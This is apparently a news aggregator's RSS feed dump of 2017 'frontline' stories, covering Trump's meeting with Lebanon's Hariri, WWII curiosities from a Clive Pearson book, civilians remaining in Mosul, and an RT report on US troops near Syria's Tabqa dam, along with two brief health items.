“Our approach, supporting the humanitarian needs of displaced Syrian citizens as close to their home country as possible, is the best way to help most people,” said Trump.

“America is proud to stand with those who have the courage to stand up to terrorism and take responsibility for affairs in their own region,” he added.

No dollar amounts were mentioned, although Hariri is expected to seek additional US aid to cope with the refugee influx. Syrian refugees make up about 25 percent (1.5 million) of Lebanon’s population of some 6 million people.

Trump commended Hariri in winning in the fight against ISIS and others and that “ultimately you will win… we have great confidence in you.”

“America’s assistance can help ensure that the Lebanese army is the only defender Lebanon needs. It’s a very effective fighting force,” said Trump.

Read more

© Kevin Lamarque

Hariri was said to be looking for continued US support for the Lebanese military, and plans by US to tighten sanctions on the Lebanese militant group Hezbollah. Trump didn’t mention any details of the support but said Hezbollah “is a menace to the Lebanese state, the Lebanese people, and the entire region.”

He added: “The group continues to increase its military arsenal, which threatens to start yet another conflict with Israel, constantly fighting them back.

“With the support of Iran, the organization is also fueling the humanitarian catastrophe in Syria. Hezbollah likes to portray itself as a defender of Lebanese interests, but it’s very clear that its true interests are those of itself and its sponsor, Iran.

“Lebanon is on the front lines against terrorism of ISIS, Al-Qaeda and Hezbollah,” said Trump.

Lebanon has been called a natural Arab ally of Washington, with a religiously diverse and relatively Western and secular society. It is also strategic, as an outlet to the Mediterranean, borders Israel and acts as a gateway to and from war-torn Syria.

The State Department’s 2018 budget plan cuts military assistance to Lebanon and other vulnerable Middle East countries by 80 percent compared to 2016 fiscal year. The proposed cuts would mean eliminating the Foreign Military Financing program, which made up about $ 86 million of the budget in 2016. The budget estimates Lebanon will receive $ 85 million in economic assistance, down from $ 110 million in 2016.

Read more

Iranian Foreign Minister Mohammad Javad Zarif. © Michal Cizek

Without support from Washington for its military, Lebanon could be forced to accept Iran’s military patronage.

When reporters asked Trump about how the US will help Lebanon with Syrian refugees, he responded: “We are helping. Getting rid of ISIS is one way. The success against ISIS is extraordinary, in the last four or five months, that previous administration made in eight years. ISIS in Syria, ISIS in Iraq, we have made tremendous strides, our military is an incredible fighting force.

“Before they had to call this House, I let the generals to do what they had to do,” said Trump. 
Trump said he was “not a fan of Assad,” referring to Bashar Assad, the president of Syria.

“I certainly think what he has done that to the country and humanity is horrible,” added Trump. 
Earlier this month, the Washington Post reported the Trump administration had allegedly planned to cancel a CIA-funded program to train Syrian rebels fighting against Assad’s government.

The alleged decision was reportedly taken in consultation with CIA Director Mike Pompeo and National Security Advisor H.R. McMaster ahead of Trump’s meeting with Russian President Vladimir Putin in Hamburg, Germany, earlier in July. During the Trump-Putin meeting on the sidelines of the G20 summit, both leaders reached a ceasefire agreement for southwest Syria.

The secretive CIA program in question, dubbed Timber Sycamore in the US press, was authorized by Barack Obama in 2013 in a bid to give Syrian rebels leverage in defeating Syrian President Bashar Assad. Initially, it was reportedly limited to non-lethal aid and training; later leaks in the media indicated various weaponry was also supplied to groups considered moderate.

However, the program did not appear to go as smoothly as expected. In 2015, General Lloyd Austin, CENTCOM commander at the time, told Congress that only four or five US-trained fighters had actually gone to Syria to battle IS, out of the 5,000 the Pentagon had envisaged.

Earlier that year, then-Defense Secretary Ash Carter told the Senate Armed Services Committee that less than 1 percent of the 7,000 Syrian volunteers for the US-sponsored train-and-equip program had made it through the vetting process.

“As of July 3, [2015] we are currently training about 60 fighters,” Carter acknowledged. “I can look out at your faces and you have the same reaction I do, which is that that’s an awfully small number.”

Let’s block ads! (Why?)

RT – Daily news

]]> https://briefnews.eu/trump-to-lebanese-premier-youre-on-frontline-of-fighting-isis-al-qaeda-and-hezbollah/feed/ 0 From a bear on the frontline to POWs knitting CLIVE PEARSON explores WWII's bizarre tales https://briefnews.eu/from-a-bear-on-the-frontline-to-pows-knitting-clive-pearson-explores-wwiis-bizarre-tales/ https://briefnews.eu/from-a-bear-on-the-frontline-to-pows-knitting-clive-pearson-explores-wwiis-bizarre-tales/#respond Fri, 30 Jun 2017 08:44:26 +0000 http://briefnews.eu/from-a-bear-on-the-frontline-to-pows-knitting-clive-pearson-explores-wwiis-bizarre-tales/

Second World WarGETTY

Clive Pearson reveals the stranger side of the fight against Hitler

Before war broke out, Hitler and Stalin signed a non-aggression pact. Stalin could have sided with the Allies then, rather than much later, if only Neville Chamberlain had not been so suspicious of communism.

As part of the Anglo-French negotiating team, instead of a seasoned diplomat Chamberlain sent Admiral Sir Reginald Aylmer Ranfurly Plunkett-Ernle-Erle-Drax, whose main claim to fame was a handbook on solar heating.

Hitler meanwhile sent his foreign minister and Stalin duly signed the Nazi-Soviet pact. 

Related articles

After the Battle of the River Plate in 1939 Captain Hans Langdorff took his battleship Admiral Graf Spee into dock in Uruguay for repairs.

The ship was more than a match for the nearby British ships but he heard on the BBC that Britain was sending an aircraft carrier and a battlecruiser to the area.

Fearing he would be unable to break the strengthened blockade around the port he scuttled the Admiral Graf Spee as thousands lined the banks to watch.

In reality the British ships were 3,000 miles away – it had been a simple bluff that won the British their first major naval success of the war.

Early in the war Germany had great success with Blitzkrieg tactics but this was inspired by a Briton.

In his book The British Way In Warfare, Captain BH Liddell Hart wrote about how the heavy casualties of First World War trench warfare could be mitigated by using tanks to break through or get behind enemy positions rather than deploying the traditional frontal attacks by infantry.

The German Admiral Graf SpeeGETTY

The German Admiral Graf Spee, 1936

The famous Maginot Line, the supposedly impenetrable defences built by the French, was 12 to 16 miles deep.

It was composed of machine gun outposts, blockhouses and bunkers as well as tank obstacles.

It also had air conditioning and an underground railway ran along its entire length.

One British submarine brought back a reindeer from Russia. While docked for repairs in the port of Polyarny near Murmansk, the crew of HMS Trident were thrown a banquet by their Russian hosts.

During the event Commander Geoffrey Sladen confided to his Soviet counterpart that his wife struggled to push her pram through the snow.

He was given a reindeer to solve the problem and rather than offend their hosts the submariners took it with them.

Christened Pollyanna the reindeer survived the journey back to England (and an unexpected six-week spell spent fighting after the submarine was diverted) and ended up in Regent’s Park Zoo.

Maginot LineGETTY

A French officer points in the direction of Berlin, from a fort on the Maginot Line

In 1941 double amputee fighter pilot Douglas Bader was shot down over occupied France.

He baled out of his aircraft but in the process was forced to leave behind one of his false legs. He was captured and imprisoned but one German pilot, Adolf Galland, was sympathetic to his problem and contacted the British to tell them about Bader’s missing leg.

On the express orders of Hermann Goering it was arranged for a single British plane to be allowed through the defences.

It duly arrived and dropped a canister containing a spare leg, some chocolate and tobacco. With the help of his new leg Bader became so prolific in his escape attempts that the Germans later threatened to confiscate both of his prosthetics.

In North Africa one of the best things the Tommies managed to salvage from the retreating Germans was their “Jerry” cans.

The can was robust, user-friendly and much better designed than the British version which were nicknamed “flimsies”.

There’s a reason the Jerry-can design is still used by many armies today.

Wed, April 19, 2017

An extraordinary collection of rare colour photographs of the Second World War that features in a new book titled ‘The Second World War in Colour’ from the Imperial War Museums

1 of 23

Rationing was a necessity in Britain but for many people it led to a much healthier diet.

Sugars and fats were reduced, vitamins were added to flour and margarine and children were given extra milk, fruit juice and cod liver oil.

People also ate far more fresh vegetables, many of which they had grown themselves.

The Burma campaign marked the longest retreat in British military history. After being caught by surprise in Rangoon, the capital on the country’s southern coast, the British Army narrowly extricated itself after being overwhelmed by the Japanese.

Somehow staying just ahead of the enemy they were chased through the jungle all the way to India, a march of 1,000 miles.

Marshal Zhukov saved the Soviet Union.

The son of a shoemaker, he fell out of favour with Stalin early in the war for disagreeing with the dictator’s tactics.

By the time of the Battle of Stalingrad, a turning point in the war, he was back in favour though and convinced Stalin to accept his plan for the battle.

It was the Soviet Union’s first significant victory at a time when defeat could have allowed Hitler to take over the whole country.

Benito Mussolini GETTY

Benito Mussolini

The Nazi Albert Speer, best known for his architecture, was also tasked with addressing the fact that German armament production was far below what the Allies achieved.

Speer arranged for the factories to make single products and to be overseen by experts.

His efforts were so successful that even under heavy Allied bombardment factory production kept rising. Hitler was so impressed he once greeted him with a “Heil Speer”.

After he was deposed following the Allied invasion of Italy, Mussolini was kept prisoner in a hotel in a mountain retreat called Gran Sasso.

The Germans found out and mounted a daring escape attempt using gliders carrying 108 paratroopers. The Germans took along an Italian general who persuaded the guards to lay down their arms and Mussolini was freed.

POWs captured by the Germans in Europe were separated into officers and men.

The men were usually sent to Stalags and expected to work but the officers went to Oflags where they lived a life of enforced leisure.

They often spent their time making model aircraft, painting, drawing or reading improving books.

One surprising but popular pastime was knitting. Estimates suggest that only about five per cent of prisoners were serial escapees.

A six-foot bear is not something you expect to see on a battlefield, still less supplying ammunition to an artillery company.

Incredibly this actually happened.

In 1942 some Polish soldiers were released from Soviet captivity and ended up in Iran. There they adopted an orphaned Syrian bear that they fed initially on condensed milk and then on fruit, marmalade and honey.

The men soon got him smoking and beer quickly became his favourite drink. When animals were banned from camp, he was made a private and given a paybook and serial number.

He was also taught to carry Howitzer ammunition which he did even under gunfire which did not seem to scare him. At the end of the war he was promoted to corporal and sent to Edinburgh zoo.

To order Second World War In 100 Facts, by Clive Pearson (£8.99, Amberley), with free UK delivery call the Express Bookshop on 01872 562310. Alternatively send a cheque or postal order payable to The Express Bookshop to Facts Offer, PO Box 200, Falmouth TR11 4WJ or visit expressbookshop.com

Related articles

Let’s block ads! (Why?)

Daily Express :: Entertainment Feed

]]> https://briefnews.eu/from-a-bear-on-the-frontline-to-pows-knitting-clive-pearson-explores-wwiis-bizarre-tales/feed/ 0 Frontline workers meet to find new strategies to combat B.C.’s opioid crisis https://briefnews.eu/frontline-workers-meet-to-find-new-strategies-to-combat-b-c-s-opioid-crisis/ https://briefnews.eu/frontline-workers-meet-to-find-new-strategies-to-combat-b-c-s-opioid-crisis/#respond Fri, 16 Jun 2017 16:34:18 +0000 http://briefnews.eu/frontline-workers-meet-to-find-new-strategies-to-combat-b-c-s-opioid-crisis/ Fentanyl pills

The conference brings together personnel from a variety of backgrounds, including people who use drugs, government workers, public health employees and law enforcement.

CBC | Health News

]]> https://briefnews.eu/frontline-workers-meet-to-find-new-strategies-to-combat-b-c-s-opioid-crisis/feed/ 0 Breast cancer cure: 10p STATINS could be ‘frontline treatment’ – Dr Chris Steele https://briefnews.eu/breast-cancer-cure-10p-statins-could-be-frontline-treatment-dr-chris-steele/ https://briefnews.eu/breast-cancer-cure-10p-statins-could-be-frontline-treatment-dr-chris-steele/#respond Tue, 06 Jun 2017 10:53:01 +0000 http://briefnews.eu/breast-cancer-cure-10p-statins-could-be-frontline-treatment-dr-chris-steele/

BREAST cancer could be treated with 10p statins – Dr Chris Steele has revealed on This Morning following breakthrough research into the disease.

Daily Express :: Health Feed

]]> https://briefnews.eu/breast-cancer-cure-10p-statins-could-be-frontline-treatment-dr-chris-steele/feed/ 0 ‘I need to stay’: Iraqis linger on Mosul’s frontline, where death and ISIS lurk around every corner https://briefnews.eu/i-need-to-stay-iraqis-linger-on-mosuls-frontline-where-death-and-isis-lurk-around-every-corner/ https://briefnews.eu/i-need-to-stay-iraqis-linger-on-mosuls-frontline-where-death-and-isis-lurk-around-every-corner/#respond Mon, 03 Apr 2017 11:58:27 +0000 http://briefnews.eu/i-need-to-stay-iraqis-linger-on-mosuls-frontline-where-death-and-isis-lurk-around-every-corner/ Displaced Iraqis who had fled their homes reach to get water before entering at Hammam al-Alil camp south of Mosul, Iraq April 3, 2017. REUTERS/Suhaib SalemThomson Reuters

MOSUL, Iraq (Reuters) – Sitting in a wheelchair and wearing sunglasses, pensioner Abdelraziq Abdelkarim enjoys the afternoon sun outside his house in Mosul after a day of rain. He does not flinch when a mortar opens fire just around the corner.

His home is on the busiest frontline in the northern Iraqi city just 200 m (yards) from Islamic State positions. Outside his house, Federal Police units are firing at the militants.

Government forces have been evacuating civilians as they fight to seize Mosul, once the hardline Sunni militant group’s main urban stronghold in Iraq and now the scene of a six-month-old battle.

But some families refuse to go, shrugging off the danger of a mortar fired two blocks away or a counter-attack from the militants who move around at night. Gunfire rings out constantly between Federal Police and militants holed up in abandoned shops and apartments.

“I don’t want to go. I’ve lived all my life in this house,” said 72-year Abdelkarim, a former studio photographer, sitting next to his handicapped son and a grandchild.

They share a two-floor house in a narrow street with five people from two other families. Military Humvees and mortar launchers are just parked outside.

Almost 300,000 people have fled Mosul since the government offensive to recapture the city began in October, according to the United Nations.

A sniper of the Iraqi Federal Police takes his position at a destroyed builiding near Islamic State fighters' positions at Bab al Jadid district in the old city of Mosul, Iraq, March 27, 2017. REUTERS/Youssef BoudlalThomson Reuters

But Abdelkarim and his friends dread going to one of the crowded camps where aid agencies sometimes place two families in one tent for lack of space. Others stay with relatives in cramped homes.

They had stocked up food, water and petrol for a power generator when the military campaign began. There is no food store at the frontline but soldiers sometimes share rations or a family member goes to one of the food distribution centers set up by the military, they say.

“We are maybe three or four families left. The rest are gone,” said Abdullah Ahmed, a 42-year old engineer staying with Abdelkarim. “Right across out door 50 people stayed in one house but they’ve fled.”

Death around corner

Their short alley shows the military’s challenges in dislodging Islamic State fighters hiding in the Old City — navigating is difficult in the labyrinth of narrow, often covered alleys offering perfect hideouts for snipers or to stage ambushes.

Iraq Mosul troops soldiers city streets neighborhood ISISREUTERS/Azad Lashkari

U.S. officials estimated about 2,000 fighters were still in Mosul in February at the start of the second phase of the campaign, to dislodge them from western sector.

Iraqi forces have been edging closer to al-Nuri Mosque — some 300 meters away — where Islamic State leader Abu Bakr al-Baghdadi proclaimed a caliphate nearly three years ago across territory controlled by the group in both Iraq and Syria.

But the front has hardly moved in past two weeks as Humvees or tanks are of no use in the Old City.

“See our street is about one-and-half meters wide,” said Ahmed, whose TV satellite shop was closed by Islamic State as watching TV channels was banned under its austere version of Sunni Islam.

“Near the mosque the streets only half as wide as this. There are some 40 to 50 small houses clustered around it,” he said, pointing in the direction of the mosque. “It’s very difficult to move there.”

When Federal Police opened fire with a machine gun perched on the top floor of a house through a hole broken into a wall, Islamic State fired back within two minutes with accuracy.

“There are snipers here,” a federal policeman said.

Displaced people are checked by Iraqi forces as Iraqi forces battle with Islamic State militants, in western Mosul, Iraq March 25, 2017. REUTERS/Suhaib SalemThomson Reuters

There is another reason why the friends want to avoid going to camps. IS fighters seized the husband of one of their sisters two before the government forces arrived.

“I fear they killed him because he was a policeman,” said his 30-year-old wife Dhikrayat Muwafiq, weeping in the kitchen where she was preparing rice and beans.

“I don’t want to go until we know where he is. I need to stay,” she said.

(By Ulf Laessing; editing by Angus MacSwan)

NOW WATCH: Footage reveals ISIS’ secret underground tunnels near Mosul


Feedburner

]]> https://briefnews.eu/i-need-to-stay-iraqis-linger-on-mosuls-frontline-where-death-and-isis-lurk-around-every-corner/feed/ 0 RT visits Syria’s strategic Euphrates Dam, spots US ‘advisors’ on Raqqa frontline (EXCLUSIVE) https://briefnews.eu/rt-visits-syrias-strategic-euphrates-dam-spots-us-advisors-on-raqqa-frontline-exclusive/ https://briefnews.eu/rt-visits-syrias-strategic-euphrates-dam-spots-us-advisors-on-raqqa-frontline-exclusive/#respond Fri, 31 Mar 2017 05:18:55 +0000 http://briefnews.eu/rt-visits-syrias-strategic-euphrates-dam-spots-us-advisors-on-raqqa-frontline-exclusive/ An RT crew has gained access to the strategic Tabqa dam, partially recaptured by the Syrian Democratic Forces with the help of US troops who were deployed to Syria to “train, advise and assist” but who were spotted just miles away from Raqqa frontline.

While exploring the northern side of the SDF-controlled part of the Tabqa dam, the RT crew – which became the first international news channel to film there – managed to catch a glimpse of US soldiers embedded with the Wrath of Euphrates operation.

Besides capturing what Kurds called American artillery pounding the Islamic State (IS, formerly ISIS/ISIL) targets, RT’s Lizzie Phelan also noticed US Marines at the northern entrance to the Tabqa dam.

“We managed to capture these US marines leaving the frontline before being ordered to stop filming…,” Phelan says, adding that the US troops are camera shy “for a reason,” as the Pentagon’s official line is that its forces will be kept away from frontline.

On camera, the Kurds refused to discuss the US troops and asked RT to stop filming. Off camera, however the SDF fighters openly talked about how, for some time, the Americans have been alongside them on the frontlines in fighting ISIS.

When asked what role the American’s are playing in Tabqa, one SDF fighter replied: “Let me tell you something about the Americans, I can’t talk about it…”

“It’s the Americans firing,” another fighter explained after hearing mortar fire in a distance. “The Americans are on the other side and mortars were fired at them, then the Americans came to check the position of the mortar launchers.”

Located some 40 kilometres (25 miles) west of the so-called IS capital, the 60-meter-tall Tabqa Dam (also known as Euphrates Dam) supplies electric power to the wider Raqqa region, an area that has been under terrorist control since 2013.

The northern part of the Tabqa Dam is under the control of Syrian Democratic forces, backed by American troops. The terrorists, however, still control the most crucial parts of the dam in the south, which includes the floodgates, the control room and the hydroelectric plant.

A video recently released by IS terrorists showed the damage an alleged coalition strike had caused to the dam and an unexploded missile inside the devastated control room.

The Pentagon and its Syrian allies, however, dismiss claims that their air and artillery strikes somehow damaged the dam. Meanwhile, a team of Red Crescent engineers arrived shortly after the RT crew in another attempt to access the IS-held part of the site but were “once again forced to turn back by the militants mortar shelling,” Phelan said.

Read more

FILE PHOTO © Rodi Said

Should the dam suffer major damage during the anti-IS operation and collapse, it would be a disaster for the entire region which could kill thousands and flood the city of Raqqa.

Recapturing the dam is also vital for US-led forces in isolating the area around Raqqa and eventually take the city. US Marines along with their military equipment arrived in northern Syria earlier this year to help the SDF, a multi-ethnic force consisting of Kurdish and Arab fighters to prepare for the offensive.

The US troops were officially sent into the Syrian war theatre by the Obama Administration to “train, advise and assist,” and Washington has promised to keep American soldiers out of harm’s way and away from the frontline. 

But with the arrival of the new Donald Trump administration that role is seemingly shifting towards closer engagement with the enemy. While initial deployment has seen roughly 50 US special forces personnel sent to Syria in 2015, over the years, that number has expanded significantly. There are roughly 1,000 US special operations forces, Marines and Army Rangers in Northern Syria today – and that number might soon grow even larger.

Read more

© Omar Sobhani

Speaking to the House Armed Services Committee on Wednesday, US Gen. Joseph Votel, commander of US Central Command said more American troops might be needed to support the SDF offensive to capture Raqqa.

“We have recognized that as we continue to pursue our military objectives in Syria, we are going to need more direct all-weather fire support capability for our Syrian Democratic Force partners,” Votel told the committee. “We have not taken our eye off what our principle mission is, which is to advise and assist and enable our partners … Help our partners fight, but not fight for them.”

Currently an estimated 3,000–3,500 ISIS fighters remain in Raqqa, the US coalition told Newsweek earlier this week. According to reports, the US might be planning to help the Kurds surround Raqqa, while the Arab forces of the SDF would lead the effort to recapture the city.

That policy would be consistent with Ankara’s aspirations, as Turkey, who just ended its own Euphrates Shield operation, firmly objects to arming the Kurds or somehow helping them form a quasi-state on its borders.

As Washington steps up its military presence in Syria, Damascus continues to voice concern over the legitimacy of the deployment. Speaking to China’s Phoenix TV, Syrian President Bashar Assad stressed that “foreign troops coming to Syria without our invitation or consultation or permission… are invaders, whether they are American, Turkish, or any other one.”

The Syrian leader said the US “didn’t succeed anywhere they sent troops, they only create a mess; they are very good in creating problems and destroying, but they are very bad in finding solutions,” he said, as cited by state news agency SANA.

Let’s block ads! (Why?)

RT – Daily news

]]> https://briefnews.eu/rt-visits-syrias-strategic-euphrates-dam-spots-us-advisors-on-raqqa-frontline-exclusive/feed/ 0